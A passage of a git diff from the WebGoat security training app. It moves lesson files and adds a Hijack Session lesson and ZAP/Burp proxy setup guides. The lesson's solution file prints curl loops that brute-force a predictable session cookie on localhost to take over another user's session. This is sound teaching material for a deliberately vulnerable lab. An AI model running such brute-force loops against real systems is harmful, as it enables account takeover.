that can be used in a deserialization process to achieve dangerous actions is called "Gadget Chain". +It is weird (but it could happen) to find a gadget that runs dangerous actions itself when is deserialized. However, it is much easier to find a gadget that runs action on other gadget when it is deserialized, and that second gadget runs more actions on a third gadget, and so on until a real dangerous action is triggered. That set of gadgets that can be used in a deserialization process to achieve dangerous actions is called "Gadget Chain". Finding gadgets to build gadget chains is an active topic for security researchers. This kind of research usually requires to spend a big amount of time reading code. \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Intro.adoc b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_Intro.adoc similarity index 100% rename from webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Intro.adoc rename to src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_Intro.adoc diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_SimpleExploit.adoc b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_SimpleExploit.adoc similarity index 95% rename from webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_SimpleExploit.adoc rename to src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_SimpleExploit.adoc index 127b85236..744d61872 100644 --- a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_SimpleExploit.adoc +++ b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_SimpleExploit.adoc @@ -11,8 +11,8 @@ ObjectInputStream ois = new ObjectInputStream(is); AcmeObject acme = (AcmeObject)ois.readObject(); ---- -It is expecting an `AcmeObject` object, but it will execute `readObject()` before the casting ocurs. -If an attacker finds the proper class implementing dangerous operations in `readObject()`, he could serialize that object and force the vulnerable application to performe those actions. +It is expecting an `AcmeObject` object, but it will execute `readObject()` before the casting occurs. +If an attacker finds the proper class implementing dangerous operations in `readObject()`, he could serialize that object and force the vulnerable application to perform those actions. === Class included in ClassPath diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Task.adoc b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_Task.adoc similarity index 92% rename from webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Task.adoc rename to src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_Task.adoc index 6e65617a7..2f96bde14 100755 --- a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Task.adoc +++ b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_Task.adoc @@ -1,5 +1,5 @@ === Let's try -The following input box receives a serialized object (a string) and it deserialzes it. +The following input box receives a serialized object (a string) and it deserializes it. ``` rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_WhatIs.adoc b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_WhatIs.adoc similarity index 100% rename from webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_WhatIs.adoc rename to src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_WhatIs.adoc diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/html/InsecureDeserialization.html b/src/main/resources/lessons/deserialization/html/InsecureDeserialization.html similarity index 59% rename from webgoat-lessons/insecure-deserialization/src/main/resources/html/InsecureDeserialization.html rename to src/main/resources/lessons/deserialization/html/InsecureDeserialization.html index a52f3ce1e..1b64172f4 100755 --- a/webgoat-lessons/insecure-deserialization/src/main/resources/html/InsecureDeserialization.html +++ b/src/main/resources/lessons/deserialization/html/InsecureDeserialization.html @@ -3,28 +3,26 @@
-
+
-
+
-
+
-
+
-
+
- diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/deserialization/i18n/WebGoatLabels.properties similarity index 91% rename from webgoat-lessons/insecure-deserialization/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/deserialization/i18n/WebGoatLabels.properties index 8d76b6d61..b4e5e498b 100755 --- a/webgoat-lessons/insecure-deserialization/src/main/resources/i18n/WebGoatLabels.properties +++ b/src/main/resources/lessons/deserialization/i18n/WebGoatLabels.properties @@ -1,8 +1,5 @@ insecure-deserialization.title=Insecure Deserialization -insecure-deserialization.intercept.success=Dangerous object received! -insecure-deserialization.intercept.failure=Try again - insecure-deserialization.invalidversion=The serialization id does not match. Probably the version has been updated. Let's try again. insecure-deserialization.expired=The task is not executable between now and the next ten minutes, so the action will be ignored. Maybe you copied an old solution? Let's try again. insecure-deserialization.wrongobject=That is not the VulnerableTaskHolder object. Good try! because the code is not checking this after running the readObject(). Let's try again with the right object. diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/employees.xml b/src/main/resources/lessons/employees.xml similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/employees.xml rename to src/main/resources/lessons/employees.xml diff --git a/src/main/resources/lessons/hijacksession/documentation/HijackSession_content0.adoc b/src/main/resources/lessons/hijacksession/documentation/HijackSession_content0.adoc new file mode 100644 index 000000000..8b260b0da --- /dev/null +++ b/src/main/resources/lessons/hijacksession/documentation/HijackSession_content0.adoc @@ -0,0 +1,4 @@ += Hijack a Session + +In this lesson we are trying to predict the 'hijack_cookie' value. THe 'hijack_cookie' is used to differentiate authenticated and anonymous users of WebGoat. + diff --git a/src/main/resources/lessons/hijacksession/documentation/HijackSession_plan.adoc b/src/main/resources/lessons/hijacksession/documentation/HijackSession_plan.adoc new file mode 100644 index 000000000..dd5a74336 --- /dev/null +++ b/src/main/resources/lessons/hijacksession/documentation/HijackSession_plan.adoc @@ -0,0 +1,10 @@ += Hijack a Session + +== Concept + +Application developers who develop their own session IDs frequently forget to incorporate the complexity and randomness necessary for security. If the user specific session ID is not complex and random, then the application is highly susceptible to session-based brute force attacks. + + +== Goals + +Gain access to an authenticated session belonging to someone else. diff --git a/src/main/resources/lessons/hijacksession/html/HijackSession.html b/src/main/resources/lessons/hijacksession/html/HijackSession.html new file mode 100644 index 000000000..a341ff809 --- /dev/null +++ b/src/main/resources/lessons/hijacksession/html/HijackSession.html @@ -0,0 +1,30 @@ + + + + + + + +
+
+
+ + +
+
+
+
+ +
+ +
+
+
+ +
+
+
+
+ + diff --git a/src/main/resources/lessons/hijacksession/i18n/WebGoatLabels.properties b/src/main/resources/lessons/hijacksession/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..7d8972ae1 --- /dev/null +++ b/src/main/resources/lessons/hijacksession/i18n/WebGoatLabels.properties @@ -0,0 +1,7 @@ +hijacksession.title=Hijack a session + +hijacksession.hints.1=Check the 'hijack_cookie' cookie value and think about its format. +hijacksession.hints.2=The 'hijack_cookie' is divided in two parts and has the following format '"long number"-"another long number"'. +hijacksession.hints.3=The 'hijack_cookie' is divided in two parts and has the following format '"sequential number"-"unix epoch time"'. +hijacksession.hints.4=Try to send multiple requests to force the creation of new cookies and check if there's any pattern. +hijacksession.hints.5=Sometimes, authorized users logs into the application. diff --git a/src/main/resources/lessons/hijacksession/lessonSolutions/en/HijackSession_solution.adoc b/src/main/resources/lessons/hijacksession/lessonSolutions/en/HijackSession_solution.adoc new file mode 100644 index 000000000..e76cd39d1 --- /dev/null +++ b/src/main/resources/lessons/hijacksession/lessonSolutions/en/HijackSession_solution.adoc @@ -0,0 +1,93 @@ += Hijack a Session + +== Solution + +Some standard Linux tools have been used on this solution. + +=== Analysis + +Inspect the 'hijack_cookie' cookie value: + +[source, text] +---- +3814082160704930327-1636910266991 +---- + +The 'hijack_cookie' is divided in two parts and has the following format: + +**-** + +The first part of the cookie value is an identifier that increases by 1 in each cookie, and the part after the dash is a time value that is calculated when the request is submitted. + +Notice that there is sometimes a gap in the first value of the 'hijack_cookie', where one number (or more) is skipped. The missing value means that possibly some user logged in into the system and an authorized cookie has been generated and assigned to him. + +It's simple to spot where this value is if we know the cookie values between this valid user cookie. + +=== Brute forcing + +Send some clean request (without setting the hijack_cookie) to the /WebGoat/HijackSession/login endpoint. + +[source, sh] +---- +# command +for i in $(seq 1 10); do +curl 'http://localhost:8080/WebGoat/HijackSession/login' \ +-H 'Connection: keep-alive' \ +-H 'sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"' \ +-H 'Accept: */*' \ +-H 'X-Requested-With: XMLHttpRequest' \ +-H 'sec-ch-ua-mobile: ?0' \ +-H 'User-Agent: any' \ +-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \ +-H 'Origin: http://localhost:8080' \ +-H 'Sec-Fetch-Site: same-origin' \ +-H 'Sec-Fetch-Mode: cors' \ +-H 'Sec-Fetch-Dest: empty' \ +-H 'Referer: http://localhost:8080/WebGoat/start.mvc' \ +-H 'Accept-Language: en-US,en;q=0.9' \ +-H "Cookie: JSESSIONID=T_kki1UnFP7XTxdEqX-XmZ25qgmKDFtqyoeHyQhW" \ +--data-raw 'username=&password=' \ +--compressed \ +--output /dev/null \ +-v +done + +# cookies +<...> +< Set-Cookie: hijack_cookie=3026815832223943295-1636913556701; path=/WebGoat; secure +< Set-Cookie: hijack_cookie=3026815832223943296-1636913556848; path=/WebGoat; secure +< Set-Cookie: hijack_cookie=3026815832223943297-1636913556998; path=/WebGoat; secure +< Set-Cookie: hijack_cookie=3026815832223943299-1636913557143; path=/WebGoat; secure +<...> +---- + +Note: a valid WebGoat JSESSIONID has to be used. It can be obtained after logging in into WebGoat. + +The 'hijack_cookie' beginning with 3026815832223943298 is missing. This is the value we want, we just need to figure out the second part. + +So our timestamp is between 1636913556998 and 1636913557143. Now we just need a program to do brute force this for us. + +[source, sh] +---- +for i in $(seq 1636913556998 1636913557143); do +curl 'http://localhost:8080/WebGoat/HijackSession/login' \ +-H 'Connection: keep-alive' \ +-H 'sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"' \ +-H 'Accept: */*' \ +-H 'X-Requested-With: XMLHttpRequest' \ +-H 'sec-ch-ua-mobile: ?0' \ +-H 'User-Agent: any' \ +-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \ +-H 'Origin: http://localhost:8080' \ +-H 'Sec-Fetch-Site: same-origin' \ +-H 'Sec-Fetch-Mode: cors' \ +-H 'Sec-Fetch-Dest: empty' \ +-H 'Referer: http://localhost:8080/WebGoat/start.mvc' \ +-H 'Accept-Language: en-US,en;q=0.9' \ +-H "Cookie: JSESSIONID=T_kki1UnFP7XTxdEqX-XmZ25qgmKDFtqyoeHyQhW; hijack_cookie=3026815832223943298-"$i"" \ +--data-raw 'username=&password=' \ +--compressed +done +---- + +One of those requests will be a valid login and the lesson will be marked as completed. diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonSolutions/html/CrossSiteScripting.html b/src/main/resources/lessons/hijacksession/lessonSolutions/html/HijackSession.html similarity index 72% rename from webgoat-lessons/cross-site-scripting/src/main/resources/lessonSolutions/html/CrossSiteScripting.html rename to src/main/resources/lessons/hijacksession/lessonSolutions/html/HijackSession.html index 42219764e..ac8ab94d5 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonSolutions/html/CrossSiteScripting.html +++ b/src/main/resources/lessons/hijacksession/lessonSolutions/html/HijackSession.html @@ -7,8 +7,8 @@
-
+
- \ No newline at end of file + diff --git a/src/main/resources/lessons/hijacksession/templates/hijackform.html b/src/main/resources/lessons/hijacksession/templates/hijackform.html new file mode 100644 index 000000000..16370fd90 --- /dev/null +++ b/src/main/resources/lessons/hijacksession/templates/hijackform.html @@ -0,0 +1,24 @@ +
+
+ +
+

Account Access

+
+
+ + +
+
+ +
+ +
+
+ +
+
diff --git a/webgoat-lessons/html-tampering/src/main/resources/lessonPlans/en/HtmlTampering_Intro.adoc b/src/main/resources/lessons/htmltampering/documentation/HtmlTampering_Intro.adoc similarity index 100% rename from webgoat-lessons/html-tampering/src/main/resources/lessonPlans/en/HtmlTampering_Intro.adoc rename to src/main/resources/lessons/htmltampering/documentation/HtmlTampering_Intro.adoc diff --git a/webgoat-lessons/html-tampering/src/main/resources/lessonPlans/en/HtmlTampering_Mitigation.adoc b/src/main/resources/lessons/htmltampering/documentation/HtmlTampering_Mitigation.adoc similarity index 100% rename from webgoat-lessons/html-tampering/src/main/resources/lessonPlans/en/HtmlTampering_Mitigation.adoc rename to src/main/resources/lessons/htmltampering/documentation/HtmlTampering_Mitigation.adoc diff --git a/webgoat-lessons/html-tampering/src/main/resources/lessonPlans/en/HtmlTampering_Task.adoc b/src/main/resources/lessons/htmltampering/documentation/HtmlTampering_Task.adoc similarity index 100% rename from webgoat-lessons/html-tampering/src/main/resources/lessonPlans/en/HtmlTampering_Task.adoc rename to src/main/resources/lessons/htmltampering/documentation/HtmlTampering_Task.adoc diff --git a/webgoat-lessons/html-tampering/src/main/resources/html/HtmlTampering.html b/src/main/resources/lessons/htmltampering/html/HtmlTampering.html similarity index 95% rename from webgoat-lessons/html-tampering/src/main/resources/html/HtmlTampering.html rename to src/main/resources/lessons/htmltampering/html/HtmlTampering.html index f4ed29ba2..c40fdd68c 100755 --- a/webgoat-lessons/html-tampering/src/main/resources/html/HtmlTampering.html +++ b/src/main/resources/lessons/htmltampering/html/HtmlTampering.html @@ -3,12 +3,12 @@
-
+
-
+
-
+
diff --git a/webgoat-lessons/html-tampering/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/htmltampering/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/html-tampering/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/htmltampering/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/html-tampering/src/main/resources/images/samsung.jpg b/src/main/resources/lessons/htmltampering/images/samsung.jpg similarity index 100% rename from webgoat-lessons/html-tampering/src/main/resources/images/samsung.jpg rename to src/main/resources/lessons/htmltampering/images/samsung.jpg diff --git a/webgoat-lessons/http-basics/src/main/resources/lessonPlans/en/HttpBasics_content1.adoc b/src/main/resources/lessons/httpbasics/documentation/HttpBasics_content1.adoc similarity index 100% rename from webgoat-lessons/http-basics/src/main/resources/lessonPlans/en/HttpBasics_content1.adoc rename to src/main/resources/lessons/httpbasics/documentation/HttpBasics_content1.adoc diff --git a/webgoat-lessons/http-basics/src/main/resources/lessonPlans/en/HttpBasics_content2.adoc b/src/main/resources/lessons/httpbasics/documentation/HttpBasics_content2.adoc similarity index 100% rename from webgoat-lessons/http-basics/src/main/resources/lessonPlans/en/HttpBasics_content2.adoc rename to src/main/resources/lessons/httpbasics/documentation/HttpBasics_content2.adoc diff --git a/webgoat-lessons/http-basics/src/main/resources/lessonPlans/en/HttpBasics_plan.adoc b/src/main/resources/lessons/httpbasics/documentation/HttpBasics_plan.adoc similarity index 100% rename from webgoat-lessons/http-basics/src/main/resources/lessonPlans/en/HttpBasics_plan.adoc rename to src/main/resources/lessons/httpbasics/documentation/HttpBasics_plan.adoc diff --git a/webgoat-lessons/http-basics/src/main/resources/html/HttpBasics.html b/src/main/resources/lessons/httpbasics/html/HttpBasics.html similarity index 92% rename from webgoat-lessons/http-basics/src/main/resources/html/HttpBasics.html rename to src/main/resources/lessons/httpbasics/html/HttpBasics.html index 40107f4c7..e3dcc79c0 100644 --- a/webgoat-lessons/http-basics/src/main/resources/html/HttpBasics.html +++ b/src/main/resources/lessons/httpbasics/html/HttpBasics.html @@ -6,13 +6,13 @@ -
+
-
+
@@ -42,7 +42,7 @@ -
+
@@ -83,4 +83,4 @@
- \ No newline at end of file + diff --git a/webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/httpbasics/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/httpbasics/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels_de.properties b/src/main/resources/lessons/httpbasics/i18n/WebGoatLabels_de.properties similarity index 100% rename from webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels_de.properties rename to src/main/resources/lessons/httpbasics/i18n/WebGoatLabels_de.properties diff --git a/webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels_fr.properties b/src/main/resources/lessons/httpbasics/i18n/WebGoatLabels_fr.properties similarity index 100% rename from webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels_fr.properties rename to src/main/resources/lessons/httpbasics/i18n/WebGoatLabels_fr.properties diff --git a/webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels_nl.properties b/src/main/resources/lessons/httpbasics/i18n/WebGoatLabels_nl.properties similarity index 100% rename from webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels_nl.properties rename to src/main/resources/lessons/httpbasics/i18n/WebGoatLabels_nl.properties diff --git a/webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels_ru.properties b/src/main/resources/lessons/httpbasics/i18n/WebGoatLabels_ru.properties similarity index 100% rename from webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels_ru.properties rename to src/main/resources/lessons/httpbasics/i18n/WebGoatLabels_ru.properties diff --git a/src/main/resources/lessons/httpproxies/documentation/0overview.adoc b/src/main/resources/lessons/httpproxies/documentation/0overview.adoc new file mode 100644 index 000000000..7d6434d94 --- /dev/null +++ b/src/main/resources/lessons/httpproxies/documentation/0overview.adoc @@ -0,0 +1,34 @@ +==== What's an HTTP Proxy + +A proxy is some forwarder application that connects your HTTP client to backend resources. +HTTP clients can be browsers or applications like curl, SOAP UI, Postman, etc. +Usually, these proxies are used for routing and getting internet access when there is no direct connection to the internet from the client itself. +HTTP proxies are therefore also ideal when you are testing your application. +You can always use the proxy log records to see what was actually sent from client to server. +So you can check the request and response headers and the XML, JSON, or other payloads. + +HTTP Proxies receive requests from a client and relay them. +They also typically record them. +They act as a man-in-the-middle. +It even works fine with or without HTTPS as long as your client or browser trusts the certificate of the HTTP Proxy. + +{nbsp} + + +==== ZAP Proxy Capabilities + +With ZAP, you can record traffic, inspect traffic, modify requests and responses from and to your browser, and get reports on a range of known vulnerabilities that ZAP detects through the inspection of the traffic. +The passive and active reporting on security issues is usually used in Continuous Delivery pipelines that use a GUI-less ZAP. +Here we will use ZAP interactively and mainly to see and modify requests to find vulnerabilities and solve assignments. +ZAP has a graphical user interface but now also has a HUD Heads-On-Display, which uses a web socket connection between the browser, and the ZAP proxy. + +{nbsp} + + +==== Next pages + +You can go through all lesson pages or click on these links to skip some pages. + +* link:start.mvc#lesson/HttpProxies.lesson/1[Configuring] OWASP ZAP and browser +* link:start.mvc#lesson/HttpProxies.lesson/5[Filtering] requests with ZAP +* link:start.mvc#lesson/HttpProxies.lesson/6[A proxy assignment] with ZAP +* link:start.mvc#lesson/HttpProxies.lesson/7[Replaying requests] with ZAP +* link:start.mvc#lesson/HttpProxies.lesson/8[Replaying requests] with Burp diff --git a/src/main/resources/lessons/httpproxies/documentation/10burp.adoc b/src/main/resources/lessons/httpproxies/documentation/10burp.adoc new file mode 100644 index 000000000..220ff75bb --- /dev/null +++ b/src/main/resources/lessons/httpproxies/documentation/10burp.adoc @@ -0,0 +1,38 @@ +=== Burp Proxy + +Another proxy you can use is Burp. One of the exercises in WebGoat can only be resolved with Burp and not yet with OWAP ZAP. +You can only configure Burp manually. Please follow the steps described link:start.mvc#lesson/HttpProxies.lesson/8[here] first. +You can download the Burp community edition as a https://portswigger.net/burp/communitydownload[plain jar file,window=_blank] + +[source] +---- +java -jar burpsuite_community_v2.1.04.jar +---- + +Choose `temporary project`, followed by `use burp defaults.` + +Go to the proxy options and change it to use port 8090 + +image::images/burpproxy.png[Burp proxy options,style="lesson-image"] + +On this page, you can also export the Burp certificate and import it into your browser. Similar to the instructions in previous pages. + +Go to the proxy intercept page and click on the toggle so that intercept is switched off. (By default nd in the picture below, it is switched on) + +image::images/burpintercept.png[Burp intercept,style="lesson-image"] + +Then start a browser connected to the proxy and start using WebGoat. +Now adjust the intercept request setting by extending the rule on what not to intercept: + +image::images/burpfilterclient.png[Burp client request filter,style="lesson-image"] + +Use e.g.: (\^mvc$|^txt$|\^woff$|^lesson$|\^gif$|^jpg$|\^png$|^css$|\^js$|^ico$) +Then enable the intercept by clicking on the earlier mentioned toggle. + +An intercept will look like: + +image::images/burpintercepted.png[Burp client request filter,style="lesson-image"] + +Finally, you can look at the history and add filters for the history and replay requests from this screen: + +image::images/burpfilter.png[Burp history,style="lesson-image"] diff --git a/src/main/resources/lessons/httpproxies/documentation/1proxysetupsteps.adoc b/src/main/resources/lessons/httpproxies/documentation/1proxysetupsteps.adoc new file mode 100644 index 000000000..30952e5db --- /dev/null +++ b/src/main/resources/lessons/httpproxies/documentation/1proxysetupsteps.adoc @@ -0,0 +1,11 @@ +==== HTTP Proxy Setup + +Since this is an OWASP project, we'll be using OWASP ZAP. +If you are comfortable using another proxy (e.g., Burp), you can skip this. +Otherwise, this will show you how to set up ZAP as a proxy on your local host. + +* First download and install https://www.zaproxy.org/download/[ZAP] for your operating system +* Start ZAP +* Start the browser directly from ZAP + + diff --git a/src/main/resources/lessons/httpproxies/documentation/3browsersetup.adoc b/src/main/resources/lessons/httpproxies/documentation/3browsersetup.adoc new file mode 100644 index 000000000..4757ccb90 --- /dev/null +++ b/src/main/resources/lessons/httpproxies/documentation/3browsersetup.adoc @@ -0,0 +1,29 @@ +==== Setting up browser + +If you use the latest ZAP version (>= 2.8.0), you only need to start ZAP and click the browser button to be able to proxy, see image below: + +{nbsp} + + +image::images/zap-browser-button.png[ZAP Start,style="lesson-image"] + +{nbsp} + + +In the browser type: http://localhost:8080/WebGoat, you should see WebGoat and the OWASP ZAP Heads On Display (if you use OWASP ZAP as the proxy): + +{nbsp} + + +image::images/loginscreen.png[Browser with HUD,style="lesson-image"] + +{nbsp} + + +You might notice that this is the Dutch login screen. The browser determines the language settings. For some pages, there will be some local translations. You can contribute to WebGoat and add more for your preferred language. You can disable the Heads On Display by clicking on the highlighted button. You can learn about the OWASP ZAP HUD on their website. For now, we recommend disabling it as it kind of blocks the menu items. + +You should see the following in OWASP ZAP on the history panel: + +{nbsp} + + +image::images/zap-history.png[ZAP History,style="lesson-image"] + +{nbsp} + + +On the next page, we will show how to filter these requests to see only relevant requests and configure the interceptor. diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/5configurefilterandbreakpoints.adoc b/src/main/resources/lessons/httpproxies/documentation/5configurefilterandbreakpoints.adoc similarity index 53% rename from webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/5configurefilterandbreakpoints.adoc rename to src/main/resources/lessons/httpproxies/documentation/5configurefilterandbreakpoints.adoc index aba7c9342..c642561bb 100644 --- a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/5configurefilterandbreakpoints.adoc +++ b/src/main/resources/lessons/httpproxies/documentation/5configurefilterandbreakpoints.adoc @@ -1,11 +1,10 @@ -=== Filter requests in history panel +==== Filter requests in history panel -In the main ZAP window click on Filter, see image below +In the main ZAP window, click on Filter; see the image below. image::images/zap-exclude.png[Exclude internal APIs from WebGoat,style="lesson-image"] -{nbsp} -{nbsp} +{nbsp} + Then in the `URL Inc Regex` box type: @@ -21,10 +20,4 @@ And in the `URL Exc Regex` box type: .*lesson.*.mvc ---- -Click 'Apply to close the window, ZAP will now no longer show internal WebGoat requests. - - - - - - +Click 'Apply to close the window, and ZAP will now no longer show internal WebGoat requests. diff --git a/src/main/resources/lessons/httpproxies/documentation/6assignment.adoc b/src/main/resources/lessons/httpproxies/documentation/6assignment.adoc new file mode 100644 index 000000000..da3a4a477 --- /dev/null +++ b/src/main/resources/lessons/httpproxies/documentation/6assignment.adoc @@ -0,0 +1,34 @@ +==== Configure a breakpoint filter + +Before we start diving into intercepting requests with ZAP, we need to exclude the internal requests from the WebGoat +framework. Otherwise, ZAP will also stop at all the requests which are only necessary for the inner working of WebGoat. +Basically, a breakpoint is configured that will intercept requests when the request header contains a POST. You can add other rules as long as the polling `.mvc` messages will be excluded. As this would be annoying. + +Set the breakpoint as follows: + +image::images/breakpoint.png[Set breakpoint,style="lesson-image"] + +{nbsp} + + +You can see your active breakpoints here. And if you click on the checkbox, you can temporarily deactivate them and enable them again when you are just about to intercept the request. *DO NOT use the green/red button anymore* + +image::images/breakpoint2.png[Active breakpoints,style="lesson-image"] + +{nbsp} + + +Once you are intercepting requests and a request is made, it should look something like this: + +image::images/proxy-intercept-details.png[ZAP history tab,style="lesson-image"] + +==== Intercept and modify a request + +Set up the intercept as noted above and then submit the form/request below by clicking the submit button. When your request is intercepted (hits the breakpoint), +modify it as follows. + +* Change the Method to GET +* Add a header 'x-request-intercepted:true' +* Remove the request body and instead send 'changeMe' as a query string parameter and set the value to 'Requests are tampered easily' (without the single quotes) + +Then let the request continue through (by hitting the play button). + +NOTE: The two play buttons behave a little differently, but we'll let you tinker and figure that out for yourself. diff --git a/src/main/resources/lessons/httpproxies/documentation/7resend.adoc b/src/main/resources/lessons/httpproxies/documentation/7resend.adoc new file mode 100644 index 000000000..0128859a4 --- /dev/null +++ b/src/main/resources/lessons/httpproxies/documentation/7resend.adoc @@ -0,0 +1,30 @@ +==== Use the "Edit and resend" functionality in ZAP + +Instead of intercepting the request, there is also an option to resend the same request again within ZAP. +It helps you solve an assignment because you do not have to switch to ZAP, enable the intercept button, go back to WebGoat and perform the request again from within the browser. + +Let's look at an example. We are going to use the e-mail example from the WebWolf introduction lesson. This lesson +will generate a request for `/WebGoat/WebWolf/mail`, in the "History" window, select the URL you want to resend right click +on the URL and select `Open/Resend with Request Editor`. You can also find the request in the left pane of ZAP as indicated +with the red arrow in the image below: + +image::images/zap_edit_and_resend.png[Open/Resend with Request Editor,style="lesson-image"] + +{nbsp} + + +A new window will open, and here, you can modify the request, for example, change the e-mail address to someone else and send it again. +In the response tab, you can inspect the response of the request. The response will show a solved message in some assignments, but sometimes you get a code/flag that you need to submit in WebGoat to complete the assignment. Always be on the +lookout for a response. If you solved the assignment by making a request, WebGoat would automatically mark +the lesson as solved. + +image::images/zap_edit_and_send.png[Open/Resend with Request Editor,style="lesson-image"] + +{nbsp} + + +++++ + +++++ + +image::images/zap_edit_and_response.png[Open/Resend response,style="lesson-image"] + + diff --git a/src/main/resources/lessons/httpproxies/documentation/8httpsproxy.adoc b/src/main/resources/lessons/httpproxies/documentation/8httpsproxy.adoc new file mode 100644 index 000000000..0c3875dfa --- /dev/null +++ b/src/main/resources/lessons/httpproxies/documentation/8httpsproxy.adoc @@ -0,0 +1,27 @@ +== Proxy from ZAP to HTTPS + +The ZAP proxy can also be configured to proxy *HTTPS* requests. It will terminate the HTTPS connection in ZAP and then proxy it to the target using its keystore. You can even proxy to sites with mutual TLS. In that case, you configure OWASP ZAP with the keystore and key to use for the connection. + +Go to Tools/Options/Client Certificate to proxy to a mutual TLS HTTPS site. +Go to Tools/Options/Connection if you want to set timeouts and want to force the use of TLSv1.2 e.g. + + +=== Export the certificate + +Depending on the local tools installation, ZAP can start a browser directly with some adjusted options like network settings and certificate adjustments. However, you should do this step if you want to start your browser independently of ZAP. To be able to use the browser, the browser needs the certificate, which you can export here: + +image::images/rootca.png[ZAP root CA,style="lesson-image"] +image::images/savecerts.png[ZAP save CA,style="lesson-image"] + + + +=== Import the OWASP ZAP root certificate + +. Go to your Firefox Preferences (Mac, Linux) or Options (Windows) from the menu.` +. Search for _certificates_ +. Click _View certificates_ +. Import the ZAP root certificate that was saved (see the previous page) + +image::images/firefoxsettingscerts.png[Firefox Certificates,width="75%",style="lesson-image"] + +image::images/importcerts.png[Firefox Certificate import,width="75%",style="lesson-image"] diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/9manual.adoc b/src/main/resources/lessons/httpproxies/documentation/9manual.adoc similarity index 56% rename from webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/9manual.adoc rename to src/main/resources/lessons/httpproxies/documentation/9manual.adoc index ae5106ebe..ab087170f 100644 --- a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/9manual.adoc +++ b/src/main/resources/lessons/httpproxies/documentation/9manual.adoc @@ -6,43 +6,43 @@ In the latest release of Chrome and Firefox no longer proxy traffic from localho === Option 1: Change settings of your browser -- To proxy localhost (and related addresses) with newer Firefox versions (>= 67) the preference network.proxy.allow_hijacking_localhost (accessible through the about:config page) must be set to true. +- To proxy localhost (and related addresses) with newer Firefox versions (>= 67), the preference network. proxy.allow_hijacking_localhost (accessible through the about:config page) must be set to true. - To proxy localhost (and related addresses) with newer Chrome versions (>= 72) the command line argument --proxy-bypass-list=<-loopback> must be provided. === Option 2: Use www.webgoat.local -- Use the host name of your machine instead of `localhost`, you can find or add a host name in `/etc/hosts` on Linux and MacOSX and `C:\Windows\System32\drivers\etc` on Windows +- Use the hostname of your machine instead of `localhost`. You can find or add a hostname in `/etc/hosts` on Linux and MacOSX and `C:\Windows\System32\drivers\etc` on Windows image::images/newlocalhost.png[Hosts file,style="lesson-image"] -Then in your browser use http://www.webgoat.local:8080/WebGoat as the address. +Then in your browser, use http://www.webgoat.local:8080/WebGoat as the address. === Configure browser to use proxy -To manually configure a proxy in the browser follow one of the configuration below: +To manually configure a proxy in the browser, follow one of the configurations below: ==== Firefox Proxy Config . Go to your Firefox Preferences (Mac, Linux) or Options (Windows) from the menu.` . Select _Advanced_ on the left -. Select _Network_ in the in Advanced Pane +. Select _Network_ in the Advanced Pane . Click _Settings_ . Select _Manual proxy configuration_ -.. input *127.0.0.1* as the Proxy (or 